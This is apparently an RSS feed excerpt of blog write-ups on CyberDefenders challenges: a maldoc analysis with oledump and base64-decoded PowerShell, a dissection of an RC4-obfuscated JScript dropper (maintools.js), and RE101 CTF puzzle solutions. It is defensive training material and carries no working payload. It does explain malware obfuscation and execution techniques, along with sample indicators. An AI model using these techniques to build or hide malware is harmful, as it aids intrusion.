<h2 id="heading-4-what-stream-is-responsible-for-the-storage-of-the-base64-encoded-string">4. What stream is responsible for the storage of the base64-encoded string?</h2>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> {17..36}  
<span class="hljs-keyword">do</span>  
   <span class="hljs-built_in">echo</span> <span class="hljs-string">"stream <span class="hljs-variable">$i</span>"</span>  
   oledump.py sample.bin -s <span class="hljs-variable">$i</span>  
<span class="hljs-keyword">done</span>
</code></pre>
<p>Using the above script, I printed all the streams and found 34 number stream has base64 string.</p>
<h2 id="heading-5-this-document-contains-a-user-form-provide-the-name">5. This document contains a user-form. Provide the name?</h2>
<p>roubhaol</p>
<h2 id="heading-6-this-document-contains-an-obfuscated-base64-encoded-string-what-value-is-used-to-pad-or-obfuscate-this-string">6. This document contains an obfuscated base64 encoded string; what value is used to pad (or obfuscate) this string?</h2>
<p>Dumped the stream in a file.</p>
<pre><code class="lang-plaintext">oledump.py sample.bin -s 34 | cut -d ' ' -f 20 &gt; dump.txt
</code></pre>
<p>Then found <code>2342772g3&amp;*gs7712ffvs626fq</code> string as repetitive.</p>
<h2 id="heading-7-what-is-the-program-executed-by-the-base64-encoded-string">7. What is the program executed by the base64 encoded string?</h2>
<p>Removing the pad we get base64 string. Using cyberchef we get decoded Powershell command.</p>
<blockquote>
<p><strong>Recipe</strong>: From Base64 &gt; Remove null bytes</p>
</blockquote>
<h2 id="heading-8-what-wmi-class-is-used-to-create-the-process-to-launch-the-trojan">8. What WMI class is used to create the process to launch the trojan?</h2>
<p><img src="https://imgur.com/YlBNwJO.png" alt /></p>
<h2 id="heading-9-multiple-domains-were-contacted-to-download-a-trojan-provide-first-fqdn-as-per-the-provided-hint">9. Multiple domains were contacted to download a trojan. Provide first FQDN as per the provided hint.</h2>
<p>After executing the URL part of powershell script we get the some urls. First one is the answer.</p>
<p><img src="https://imgur.com/wynbFtH.png" alt /></p>
]]></content:encoded></item><item><title><![CDATA[Obfuscated Writeup - CyberDefenders]]></title><description><![CDATA[During your shift as a SOC analyst, the enterprise EDR alerted a suspicious behavior from an end-user machine. The user indicated that he received a recent email with a DOC file from an unknown sender and passed the document for you to analyze.

1. W...]]></description><link>https://blog.kcnaiamh.com/obfuscated-writeup-cyberdefenders</link><guid isPermaLink="true">https://blog.kcnaiamh.com/obfuscated-writeup-cyberdefenders</guid><category><![CDATA[macros]]></category><category><![CDATA[#digitalforensic ]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Mon, 31 Jul 2023 18:00:00 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>﻿ During your shift as a SOC analyst, the enterprise EDR alerted a suspicious behavior from an end-user machine. The user indicated that he received a recent email with a DOC file from an unknown sender and passed the document for you to analyze.</p>
</blockquote>
<h2 id="heading-1-what-is-the-sha256-hash-of-the-doc-file">1. What is the sha256 hash of the doc file?</h2>
<pre><code class="lang-plaintext">ff2c8cadaa0fd8da6138cce6fce37e001f53a5d9ceccd67945b15ae273f4d751
</code></pre>
<h2 id="heading-2-multiple-streams-contain-macros-in-this-document-provide-the-number-of-lowest-one">2. Multiple streams contain macros in this document. Provide the number of lowest one.</h2>
<pre><code class="lang-shell">root@cee331db43d2 /shared# oledump.py sample    
 1:       114 '\x01CompObj'  
 2:       284 '\x05DocumentSummaryInformation'  
 3:       392 '\x05SummaryInformation'  
 4:      8017 '1Table'  
 5:      4096 'Data'  
 6:       483 'Macros/PROJECT'  
 7:        65 'Macros/PROJECTwm'  
 8: M    7117 'Macros/VBA/Module1'  
 9: m    1104 'Macros/VBA/ThisDocument'  
10:      3467 'Macros/VBA/_VBA_PROJECT'  
11:      2964 'Macros/VBA/__SRP_0'  
12:       195 'Macros/VBA/__SRP_1'  
13:      2717 'Macros/VBA/__SRP_2'  
14:       290 'Macros/VBA/__SRP_3'  
15:       565 'Macros/VBA/dir'  
16:        76 'ObjectPool/_1541577328/\x01CompObj'  
17: O   20301 'ObjectPool/_1541577328/\x01Ole10Native'  
18:      5000 'ObjectPool/_1541577328/\x03EPRINT'  
19:         6 'ObjectPool/_1541577328/\x03ObjInfo'  
20:    133755 'WordDocument'
</code></pre>
<h2 id="heading-3-what-is-the-decryption-key-of-the-obfuscated-code">3. What is the decryption key of the obfuscated code?</h2>
<p>The doc file is a dropper. It drops <code>maintools.js</code> file. After executing the file we have to get it. I run it on anyrun and downloaded maintools.js binary. In anyrun process execution, we see maintools.js is executed with <code>EzZETcSXyKAdF_e5I2i1</code> argument. Which is the decryption key of this code.</p>
<h2 id="heading-4-what-is-the-name-of-the-dropped-file">4. What is the name of the dropped file?</h2>
<p>maintools.js</p>
<h2 id="heading-5-this-script-uses-what-language">5. This script uses what language?</h2>
<p>jscript</p>
<h2 id="heading-6-what-is-the-name-of-the-variable-that-is-assigned-the-command-line-arguments">6. What is the name of the variable that is assigned the command-line arguments?</h2>
<pre><code class="lang-js"><span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">var</span> wvy1 = WScript.Arguments;
    <span class="hljs-keyword">var</span> ssWZ = wvy1(<span class="hljs-number">0</span>);
    <span class="hljs-keyword">var</span> ES3c = y3zb();
[trucated]
</code></pre>
<h2 id="heading-7-how-many-command-line-arguments-does-this-script-expect">7. How many command-line arguments does this script expect?</h2>
<p>1</p>
<h2 id="heading-8-what-instruction-is-executed-if-this-script-encounters-an-error">8. What instruction is executed if this script encounters an error?</h2>
<p>WScript.Quit()</p>
<h2 id="heading-9-what-function-returns-the-next-stage-of-code-ie-the-first-round-of-obfuscated-code">9. What function returns the next stage of code (i.e. the first round of obfuscated code)?</h2>
<p>y3zb</p>
<h2 id="heading-10-the-function-lxv5-is-an-important-function-what-variable-is-assigned-a-key-string-value-in-determining-what-this-function-does">10. The function LXv5 is an important function, what variable is assigned a key string value in determining what this function does?</h2>
<p>LUK7</p>
<h2 id="heading-11-what-encoding-scheme-is-this-function-responsible-for-decoding">11. What encoding scheme is this function responsible for decoding?</h2>
<p>Base64</p>
<h2 id="heading-12-in-the-function-cppt-the-first-two-for-loops-are-responsible-for-what-important-part-of-this-function">12. In the function CpPT, the first two for loops are responsible for what important part of this function?</h2>
<p>key-scheduling algorithm</p>
<h2 id="heading-13-the-function-cppt-requires-two-arguments-where-does-the-value-of-the-first-argument-come-from">13. The function CpPT requires two arguments, where does the value of the first argument come from?</h2>
<p>command-line argument</p>
<h2 id="heading-14-for-the-function-cppt-what-does-the-first-argument-represent">14. For the function CpPT, what does the first argument represent?</h2>
<p>key</p>
<h2 id="heading-15-what-encryption-algorithm-does-the-function-cppt-implement-in-this-script">15. What encryption algorithm does the function CpPT implement in this script?</h2>
<p>RC4</p>
<h2 id="heading-16-what-function-is-responsible-for-executing-the-deobfuscated-code">16. What function is responsible for executing the deobfuscated code?</h2>
<p>eval</p>
<h2 id="heading-17-what-windows-script-host-program-can-be-used-to-execute-this-script-in-command-line-mode">17. What Windows Script Host program can be used to execute this script in command-line mode?</h2>
<p>cscript.exe, an alternative to wscript.exe</p>
<h2 id="heading-18-what-is-the-name-of-the-first-function-defined-in-the-deobfuscated-code">18. What is the name of the first function defined in the deobfuscated code?</h2>
<p>UspD</p>
]]></content:encoded></item><item><title><![CDATA[RE101 Writeup - CyberDefenders]]></title><description><![CDATA[RE101 challenge is a binary analysis exercise - a task security blue team analysts do to understand how a specific malware works and extract possible intel.

I've used this new encryption I heard about online for my warez; I bet you can't extract the...]]></description><link>https://blog.kcnaiamh.com/re101-writeup-cyberdefenders</link><guid isPermaLink="true">https://blog.kcnaiamh.com/re101-writeup-cyberdefenders</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[Powershell]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 29 Jul 2023 18:00:00 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>﻿ RE101 challenge is a binary analysis exercise - a task security blue team analysts do to understand how a specific malware works and extract possible intel.</p>
</blockquote>
<h2 id="heading-ive-used-this-new-encryption-i-heard-about-online-for-my-warez-i-bet-you-cant-extract-the-flag-file-malware000">I've used this new encryption I heard about online for my warez; I bet you can't extract the flag! (File: MALWARE000)</h2>
<p>die &gt; strings ZmxhZzwwb3BzX2lfdXNlZF8xMzM3X2I2NF9lbmNyeXB0aW9uPgo= base64 -d</p>
<p><strong>Flag</strong>: 0ops_i_used_1337_b64_encryption</p>
<h2 id="heading-check-out-what-i-can-do-file-just-some-js">Check out what I can do! (File: Just some JS)</h2>
<p><img src="https://i.imgur.com/IX7Cayz.png" alt /></p>
<p>Obfuscated javascript. node just_some_js</p>
<p><strong>Flag</strong>: what_a_cheeky_language!1!</p>
<h2 id="heading-im-tired-of-javascript-luckily-i-found-the-grand-daddy-of-that-lame-last-language-file-this-is-not-js">I'm tired of Javascript. Luckily, I found the grand-daddy of that lame last language! (File: This is not JS)</h2>
<p><img src="https://i.imgur.com/5UGxKzM.png" alt /></p>
<p>BrainFuck! https://www.dcode.fr/brainfuck-language</p>
<p><strong>Flag</strong>: Now_THIS_is_programming</p>
<h2 id="heading-i-zipped-flagtxt-and-encrypted-it-with-the-password-password-but-i-think-the-header-got-messed-up-you-can-have-the-flag-if-you-fix-the-file-file-unzip-me">I zipped flag.txt and encrypted it with the password "password", but I think the header got messed up... You can have the flag if you fix the file (File: Unzip Me)</h2>
<p>Used this <a target="_blank" href="https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html">PKZip specification doc</a>. Just needed to fix file name length.</p>
<p><img src="https://imgur.com/P9M5evA.png" alt /></p>
<p><strong>Flag</strong>: R3ad_th3_spec</p>
<h2 id="heading-apparently-my-encryption-isnt-so-secure-ive-got-a-new-way-of-hiding-my-flags-file-malware101">Apparently, my encryption isn't so secure. I've got a new way of hiding my flags! (File: MALWARE101)</h2>
<p>THIS CHALLENGE IS REALLY TRICKY! The scrambled characters injected into stack memory in order. So, by using GDB, adding breakpoint before printf, you will get the flag in stack.</p>
<p><img src="https://imgur.com/rqqnrKK.png" alt /></p>
<p><strong>Flag</strong>: sTaCk_strings_LMAO</p>
<h2 id="heading-ugh-i-guess-ill-just-roll-my-own-encryption-im-not-too-good-at-math-but-it-looks-good-to-me-file-malware201">Ugh... I guess I'll just roll my own encryption. I'm not too good at math, but it looks good to me! (File: MALWARE201)</h2>
<pre><code class="lang-plaintext">x = [0x6d, 0x78, 0x61, 0x6c, 0xdd, 0x7e, 0x65, 0x7e, 0x47, 0x6a, 0x4f, 0xcc, 0xf7, 0xca, 0x73, 0x68, 0x55, 0x42, 0x53, 0xdc, 0xd7, 0xd4, 0x6b, 0xec, 0xdb, 0xd2, 0xe1, 0x1c, 0x6d, 0xde, 0xd1, 0xc2]

for i, num in enumerate(x):
    a = i | 0xa0
    b = num ^ a
    c = b &gt;&gt; 1
    print(chr(c), end='')
</code></pre>
<p><strong>Flag</strong>: malwar3-3ncryp710n-15-Sh17</p>
]]></content:encoded></item></channel></rss>